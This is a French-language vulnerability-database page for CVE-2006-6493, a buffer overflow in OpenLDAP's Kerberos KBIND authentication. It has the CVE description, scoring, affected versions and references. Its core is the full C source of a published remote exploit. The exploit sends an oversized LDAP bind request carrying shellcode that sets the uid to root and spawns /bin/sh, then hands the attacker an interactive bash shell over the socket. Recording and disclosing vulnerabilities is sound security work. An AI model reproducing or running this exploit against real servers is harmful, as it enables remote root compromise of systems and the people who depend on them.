CVE-2006-6493 : Détail

CVE-2006-6493

15.13%V3
Network
2006-12-12
23h00 +00:00
2006-12-16
09h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in the krbv4_ldap_auth function in servers/slapd/kerberos.c in OpenLDAP 2.4.3 and earlier, when OpenLDAP is compiled with the --enable-kbind (Kerberos KBIND) option, allows remote attackers to execute arbitrary code via an LDAP bind request using the LDAP_AUTH_KRBV41 authentication method and long credential data.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 2933

Date de publication : 2006-12-14 23h00 +00:00
Auteur : Solar Eclipse
EDB Vérifié : Yes

/* * openldap-kbind-p00f.c - OpenLDAP kbind remote exploit * * Only works on servers compiled with * --enable-kbind enable LDAPv2+ Kerberos IV bind (deprecated) [no] * * by Solar Eclipse <[email protected]> * * Shoutouts to LSD for their l33t asm code and to all 0dd people * * Private 0dd code. * */ #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <errno.h> #include <stdio.h> extern int errno; #define SHELLCODE_LEN (1250+2+32) #define SHELLCODE_ADDR 0xbf5feed0 #define LDAP_AUTH_SIMPLE 0x80U #define LDAP_AUTH_KRBV41 0x81U #define FINDSCKPORTOFS 46 u_char shellcode[]= /* 72 bytes findsckcode by LSD-pl */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xe7" /* movl %esp,%edi */ "\x8d\x77\x10" /* leal 0x10(%edi),%esi */ "\x89\x77\x04" /* movl %esi,0x4(%edi) */ "\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */ "\x89\x4f\x08" /* movl %ecx,0x8(%edi) */ "\xb3\x10" /* movb $0x10,%bl */ "\x89\x19" /* movl %ebx,(%ecx) */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\xff" /* movb $0xff,%cl */ "\x89\x0f" /* movl %ecx,(%edi) */ "\x51" /* pushl %ecx */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x07" /* movb $0x07,%bl */ "\x89\xf9" /* movl %edi,%ecx */ "\xcd\x80" /* int $0x80 */ "\x59" /* popl %ecx */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x39\xd8" /* cmpl %ebx,%eax */ "\x75\x0a" /* jne <findsckcode+54> */ "\x66\xb8\x12\x34" /* movw $0x1234,%bx */ "\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */ "\x74\x02" /* je <findsckcode+56> */ "\xe2\xe0" /* loop <findsckcode+24> */ "\x89\xcb" /* movl %ecx,%ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x03" /* movb $0x03,%cl */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x3f" /* movb $0x3f,%al */ "\x49" /* decl %ecx */ "\xcd\x80" /* int $0x80 */ "\x41" /* incl %ecx */ "\xe2\xf6" /* loop <findsckcode+62> */ /* 10 byte setresuid(0,0,0); by core */ "\x31\xc9" /* xor %ecx,%ecx */ "\xf7\xe1" /* mul %ecx,%eax */ "\x51" /* push %ecx */ "\x5b" /* pop %ebx */ "\xb0\xa4" /* mov $0xa4,%al */ "\xcd\x80" /* int $0x80 */ /* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; #define COMMAND1 "echo 'a'; TERM=xterm; export TERM=xterm; exec bash -i;\n" #define COMMAND2 "uname -a; id; w;\n" /* mixter's code w/enhancements by core */ int sh(int sockfd) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; /* Priming commands */ strcpy(snd, COMMAND1 "\n"); write(sockfd, snd, strlen(snd)); strcpy(snd, COMMAND2 "\n"); write(sockfd, snd, strlen(snd)); /* Main command loop */ for (;;) { FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if (FD_ISSET(sockfd, &rset)) { bzero(rcv, sizeof(rcv)); if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) { printf("Good Bye!\n"); return 0; } if (n < 0) { perror("read"); return 1; } fputs(rcv, stdout); fflush(stdout); /* keeps output nice */ } } /* for(;;) */ } /* Connect to the host */ int connect_host(char* host, int port) { struct sockaddr_in s_in; int sock; s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = inet_addr(host); s_in.sin_port = htons(port); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) { printf("Could not create a socket\n"); exit(1); } if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) { printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno)); exit(1); } return sock; } int get_local_port(int sock) { struct sockaddr_in s_in; int namelen = sizeof(s_in); if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) { printf("Can't get local port: %s\n", strerror(errno)); exit(1); } return s_in.sin_port; } int read_data(int sock, char* buf, int len) { int l; int to_read = len; do { if ((l = read(sock, buf, to_read)) < 0) { printf("Error in read: %s\n", strerror(errno)); exit(1); } to_read -= len; } while (to_read > 0); return len; } int read_bind_result(int sock) { char buf[1000]; read_data(sock, buf, 2); if (buf[0] != 0x30) { /* openldap is 0wned :-P */ return -1; } read_data(sock, &buf[2], buf[1]); if ((buf[2] != 0x02) && (buf[3] != 0x01)) { /* message id */ printf("Malformed bind result\n"); exit(1); } if (buf[5] != 0x61) { /* message type */ printf("Malformed bind result\n"); exit(1); } if (buf[6] < 7) { /* message length */ printf("Malformed bind result\n"); exit(1); } if ((buf[7] != 0x0a) && (buf[8] != 0x01)) { /* result code */ printf("Malformed bind result\n"); exit(1); } return buf[9]; /* result code */ } int send_bind_request(int sock, char method, char* dn, char* cred) { int cred_len, message_len, request_len; char krb_bind_request[2000]; char* p; memcpy(krb_bind_request, "\x30\x82\xff\xff" /* request length */ "\x02\x01\x01" /* message id = 1 */ "\x60" /* bind request */ "\x82\xff\xff" /* message length */ "\x02\x01\x02" /* LDAP version 3 */ "\x04", /* dn */ 15); p = &krb_bind_request[15]; if (strlen(dn) > 255) { printf("bind_dn too long\n"); exit(1); } *p++ = (char)strlen(dn); strcpy(p, dn); p += strlen(dn); *p++ = method; /* authentication method */ *p++ = '\x82'; cred_len = strlen(cred); *p++ = (char) ((cred_len >> 8) & 0xff); *p++ = (char) (cred_len & 0xff); strcpy(p, cred); message_len = 5 + strlen(dn) + 4 + cred_len; krb_bind_request[9] = (char) ((message_len >> 8) & 0xff); krb_bind_request[10] = (char) (message_len & 0xff); request_len = 7 + message_len; krb_bind_request[2] = (char) ((request_len >> 8) & 0xff); krb_bind_request[3] = (char) (request_len & 0xff); send(sock, krb_bind_request, 4+request_len, 0); } void build_shellcode(char* p, int len) { int i; i = len - 64 - strlen(shellcode); memset(p, 0x90, i); strncpy(&p[i], shellcode, strlen(shellcode)); for (i = len - 64; i < len; i+= 4) { *(int*)&p[i] = SHELLCODE_ADDR; } } char res_buf[30]; char* ldap_result(int code) { switch (code) { case 0x00: return "LDAP_SUCCESS (0x00)"; case 0x01: return "LDAP_OPERATIONS_ERROR (0x01)"; case 0x02: return "LDAP_PROTOCOL_ERROR (0x02)"; case 0x07: return "LDAP_AUTH_METHOD_NOT_SUPPORTED (0x07)\nMost likely cause: the OpenLDAP server was not compiled with --enable-kbind."; case 0x08: return "LDAP_STRONG_AUTH_REQUIRED (0x08)"; case 0x0e: return "LDAP_SASL_BIND_IN_PROGRESS (0x0e)"; case 0x22: return "LDAP_INVALID_DN_SYNTAX (0x22)\nCheck your bind_dn."; case 0x30: return "LDAP_INAPPROPRIATE_AUTH (0x30)"; case 0x31: return "LDAP_INVALID_CREDENTIALS (0x31)\nThe bind_dn must exist in the LDAP directory."; case 0x32: return "LDAP_INSUFFICIENT_ACCESS (0x32)"; case 0x33: return "LDAP_BUSY (0x33)"; case 0x34: return "LDAP_UNAVAILABLE (0x34)"; case 0x35: return "LDAP_UNWILLING_TO_PERFORM (0x35)"; case 0x50: return "LDAP_OTHER (0x50)"; case 0x51: return "LDAP_SERVER_DOWN (0x51)"; case 0x54: return "LDAP_DECODING_ERROR (0x54)"; default: sprintf(res_buf, "%x", code); return res_buf; } } /* run, code, run */ int main(int argc, char* argv[]) { char shellcode_buf[SHELLCODE_LEN+1]; int port, sock, res; char* dn; char* p; printf(": openldap-kbind-p00f.c - OpenLDAP kbind remote exploit\n"); printf("\n"); printf(": Only works on servers compiled with\n"); printf(" --enable-kbind enable LDAPv2+ Kerberos IV bind (deprecated) [no]\n"); printf("\n"); printf(": by Solar Eclipse <[email protected]>\n\n"); if (argc < 3) { printf(": Usage: %s hostname bind_dn\n", argv[0]); printf(" The bind_dn must exist in the LDAP directory.\n"); exit(1); } dn = argv[2]; port = 389; /*atoi(argv[2]);*/ sock = connect_host(argv[1], port); /* send_bind_request(sock, LDAP_AUTH_SIMPLE, dn, "secret"); res = read_bind_result(sock); printf("LDAP_AUTH_SIMPLE bind request returned %s\n", ldap_result(res)); */ /* send_bind_request(sock, LDAP_AUTH_KRBV41, dn, "secret"); res = read_bind_result(sock); printf("LDAP_AUTH_KRBV41 bind request returned %s\n", ldap_result(res)); */ port = get_local_port(sock); shellcode[FINDSCKPORTOFS] = (char) (port & 0xff); shellcode[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff); build_shellcode(shellcode_buf, SHELLCODE_LEN); shellcode_buf[SHELLCODE_LEN] = '\0'; printf("Sending shellcode\n"); send_bind_request(sock, LDAP_AUTH_KRBV41, dn, shellcode_buf); sleep(2); /* Priming commands */ write(sock, "echo 'a';\n", 10); printf("Reading bind result\n"); res = read_bind_result(sock); if (res > 0) printf("LDAP_AUTH_KRBV41 bind request returned %s\n", ldap_result(res)); else { printf("Spawning shell...\n"); sh(sock); } close(sock); return 0; } // milw0rm.com [2006-12-15]

Products Mentioned

Configuraton 0

Openldap>>Openldap >> Version To (including) 2.4.3

Openldap>>Openldap >> Version 1.0

    Openldap>>Openldap >> Version 1.0.1

      Openldap>>Openldap >> Version 1.0.2

        Openldap>>Openldap >> Version 1.0.3

          Openldap>>Openldap >> Version 1.1

            Openldap>>Openldap >> Version 1.1.0

              Openldap>>Openldap >> Version 1.1.1

                Openldap>>Openldap >> Version 1.1.2

                  Openldap>>Openldap >> Version 1.1.3

                    Openldap>>Openldap >> Version 1.1.4

                      Openldap>>Openldap >> Version 1.2

                        Openldap>>Openldap >> Version 1.2.0

                          Openldap>>Openldap >> Version 1.2.1

                            Openldap>>Openldap >> Version 1.2.2

                              Openldap>>Openldap >> Version 1.2.3

                                Openldap>>Openldap >> Version 1.2.4

                                  Openldap>>Openldap >> Version 1.2.5

                                    Openldap>>Openldap >> Version 1.2.6

                                      Openldap>>Openldap >> Version 1.2.7

                                        Openldap>>Openldap >> Version 1.2.8

                                          Openldap>>Openldap >> Version 1.2.9

                                            Openldap>>Openldap >> Version 1.2.10

                                              Openldap>>Openldap >> Version 1.2.11

                                                Openldap>>Openldap >> Version 1.2.12

                                                  Openldap>>Openldap >> Version 1.2.13

                                                    Openldap>>Openldap >> Version 2.0

                                                    Openldap>>Openldap >> Version 2.0.0

                                                      Openldap>>Openldap >> Version 2.0.1

                                                        Openldap>>Openldap >> Version 2.0.2

                                                          Openldap>>Openldap >> Version 2.0.3

                                                            Openldap>>Openldap >> Version 2.0.4

                                                              Openldap>>Openldap >> Version 2.0.5

                                                                Openldap>>Openldap >> Version 2.0.6

                                                                  Openldap>>Openldap >> Version 2.0.7

                                                                    Openldap>>Openldap >> Version 2.0.8

                                                                      Openldap>>Openldap >> Version 2.0.9

                                                                        Openldap>>Openldap >> Version 2.0.10

                                                                          Openldap>>Openldap >> Version 2.0.11

                                                                            Openldap>>Openldap >> Version 2.0.11_9

                                                                              Openldap>>Openldap >> Version 2.0.11_11

                                                                                Openldap>>Openldap >> Version 2.0.11_11s

                                                                                  Openldap>>Openldap >> Version 2.0.12

                                                                                    Openldap>>Openldap >> Version 2.0.13

                                                                                      Openldap>>Openldap >> Version 2.0.14

                                                                                        Openldap>>Openldap >> Version 2.0.15

                                                                                          Openldap>>Openldap >> Version 2.0.16

                                                                                            Openldap>>Openldap >> Version 2.0.17

                                                                                              Openldap>>Openldap >> Version 2.0.18

                                                                                                Openldap>>Openldap >> Version 2.0.19

                                                                                                  Openldap>>Openldap >> Version 2.0.20

                                                                                                    Openldap>>Openldap >> Version 2.0.21

                                                                                                      Openldap>>Openldap >> Version 2.0.22

                                                                                                        Openldap>>Openldap >> Version 2.0.23

                                                                                                          Openldap>>Openldap >> Version 2.0.24

                                                                                                            Openldap>>Openldap >> Version 2.0.25

                                                                                                              Openldap>>Openldap >> Version 2.0.26

                                                                                                                Openldap>>Openldap >> Version 2.0.27

                                                                                                                  Openldap>>Openldap >> Version 2.1.2

                                                                                                                    Openldap>>Openldap >> Version 2.1.3

                                                                                                                      Openldap>>Openldap >> Version 2.1.4

                                                                                                                        Openldap>>Openldap >> Version 2.1.5

                                                                                                                          Openldap>>Openldap >> Version 2.1.6

                                                                                                                            Openldap>>Openldap >> Version 2.1.7

                                                                                                                              Openldap>>Openldap >> Version 2.1.8

                                                                                                                                Openldap>>Openldap >> Version 2.1.9

                                                                                                                                  Openldap>>Openldap >> Version 2.1.10

                                                                                                                                    Openldap>>Openldap >> Version 2.1.11

                                                                                                                                      Openldap>>Openldap >> Version 2.1.12

                                                                                                                                        Openldap>>Openldap >> Version 2.1.13

                                                                                                                                          Openldap>>Openldap >> Version 2.1.14

                                                                                                                                            Openldap>>Openldap >> Version 2.1.15

                                                                                                                                              Openldap>>Openldap >> Version 2.1.16

                                                                                                                                                Openldap>>Openldap >> Version 2.1.17

                                                                                                                                                  Openldap>>Openldap >> Version 2.1.18

                                                                                                                                                    Openldap>>Openldap >> Version 2.1.19

                                                                                                                                                      Openldap>>Openldap >> Version 2.1.20

                                                                                                                                                        Openldap>>Openldap >> Version 2.1.21

                                                                                                                                                          Openldap>>Openldap >> Version 2.1.22

                                                                                                                                                            Openldap>>Openldap >> Version 2.1.23

                                                                                                                                                              Openldap>>Openldap >> Version 2.1.24

                                                                                                                                                                Openldap>>Openldap >> Version 2.1.25

                                                                                                                                                                  Openldap>>Openldap >> Version 2.1.26

                                                                                                                                                                    Openldap>>Openldap >> Version 2.1.27

                                                                                                                                                                      Openldap>>Openldap >> Version 2.1.28

                                                                                                                                                                        Openldap>>Openldap >> Version 2.1.29

                                                                                                                                                                          Openldap>>Openldap >> Version 2.1.30

                                                                                                                                                                            Openldap>>Openldap >> Version 2.1_.20

                                                                                                                                                                              Openldap>>Openldap >> Version 2.2.0

                                                                                                                                                                                Openldap>>Openldap >> Version 2.2.1

                                                                                                                                                                                  Openldap>>Openldap >> Version 2.2.4

                                                                                                                                                                                    Openldap>>Openldap >> Version 2.2.5

                                                                                                                                                                                      Openldap>>Openldap >> Version 2.2.6

                                                                                                                                                                                        Openldap>>Openldap >> Version 2.2.7

                                                                                                                                                                                          Openldap>>Openldap >> Version 2.2.8

                                                                                                                                                                                            Openldap>>Openldap >> Version 2.2.9

                                                                                                                                                                                              Openldap>>Openldap >> Version 2.2.10

                                                                                                                                                                                                Openldap>>Openldap >> Version 2.2.11

                                                                                                                                                                                                  Openldap>>Openldap >> Version 2.2.12

                                                                                                                                                                                                    Openldap>>Openldap >> Version 2.2.13

                                                                                                                                                                                                      Openldap>>Openldap >> Version 2.2.14

                                                                                                                                                                                                        Openldap>>Openldap >> Version 2.2.15

                                                                                                                                                                                                          Openldap>>Openldap >> Version 2.2.16

                                                                                                                                                                                                            Openldap>>Openldap >> Version 2.2.17

                                                                                                                                                                                                              Openldap>>Openldap >> Version 2.2.18

                                                                                                                                                                                                                Openldap>>Openldap >> Version 2.2.19

                                                                                                                                                                                                                  Openldap>>Openldap >> Version 2.2.20

                                                                                                                                                                                                                    Openldap>>Openldap >> Version 2.2.21

                                                                                                                                                                                                                      Openldap>>Openldap >> Version 2.2.22

                                                                                                                                                                                                                        Openldap>>Openldap >> Version 2.2.23

                                                                                                                                                                                                                          Openldap>>Openldap >> Version 2.2.24

                                                                                                                                                                                                                            Openldap>>Openldap >> Version 2.2.25

                                                                                                                                                                                                                              Openldap>>Openldap >> Version 2.2.26

                                                                                                                                                                                                                                Openldap>>Openldap >> Version 2.2.27

                                                                                                                                                                                                                                  Openldap>>Openldap >> Version 2.2.28_r2

                                                                                                                                                                                                                                    Openldap>>Openldap >> Version 2.3.27_2_2006-10-18

                                                                                                                                                                                                                                      Openldap>>Openldap >> Version 2.3.28_2_2006-10-22

                                                                                                                                                                                                                                        Openldap>>Openldap >> Version 2.3.28_2006-10-22

                                                                                                                                                                                                                                          Openldap>>Openldap >> Version 2.3.28_e1.0.0

                                                                                                                                                                                                                                            Références

                                                                                                                                                                                                                                            http://www.securityfocus.com/archive/1/454181/30/0/threaded
                                                                                                                                                                                                                                            Tags : mailing-list, x_refsource_BUGTRAQ
                                                                                                                                                                                                                                            http://securityreason.com/securityalert/2023
                                                                                                                                                                                                                                            Tags : third-party-advisory, x_refsource_SREASON
                                                                                                                                                                                                                                            http://secunia.com/advisories/23334
                                                                                                                                                                                                                                            Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                                            http://www.vupen.com/english/advisories/2006/4964
                                                                                                                                                                                                                                            Tags : vdb-entry, x_refsource_VUPEN